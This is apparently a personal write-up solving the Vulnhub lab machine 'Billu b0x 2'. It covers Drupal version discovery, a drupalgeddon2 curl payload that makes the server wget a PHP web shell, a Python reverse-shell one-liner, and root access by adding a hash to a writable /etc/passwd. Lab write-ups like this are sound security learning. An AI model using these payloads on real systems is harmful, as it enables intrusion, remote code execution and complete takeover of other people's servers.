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Billu b0x 2 Walkthrough - Vulnhub Machine

Hello Friends,

This is my first boot2root writeup on a vuln machine made by my brother Manish Kishan Tanwar .
This machine is based on latest vulnerability of Drupal CMS.

Let's get started ...

Since port 80 was open , therefore I tried testing the webapp. After looking at the source code , it was clear that the website was running on a cms called drupal.I verified the version of drupal from changelog.txt.

The cms version of drupal used was 8.x. Suddenly something clicked my mind and I thought of giving a try for the famous drupalgeddon2 exploit.I tried exploiting through curl.

I used following command to download a php web shell -
curl -s -X 'POST'   --data 'mail[%23post_render][]=exec&mail[%23children]='"wget"'&form_id=user_register_form'   '' | cut -d ":" -f5

Through php shell , I got reverse shell on netcat by using python reverse shell command.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

The reverse shell which I got  was not interactive and therefore I needed to spawn tty using-  python -c 'import pty;pty.spawn("bin/sh")' command 

I tried multiple things including running some kernel exploits etc. I found that /etc/passwd was having all the permissions and I was able to edit this file.I saw that there was a account present in /etc/passwd file with some encrypted hashes.I saw similar thing during my oscp lab and therefore tried adding my root password hash into passwd root user entry.

If a password hash is present in the second column in /etc/passwd, it takes precedence over the one in /etc/shadow and thus I was able to login as root .

Thanks for reading .Happy Hacking ;) 


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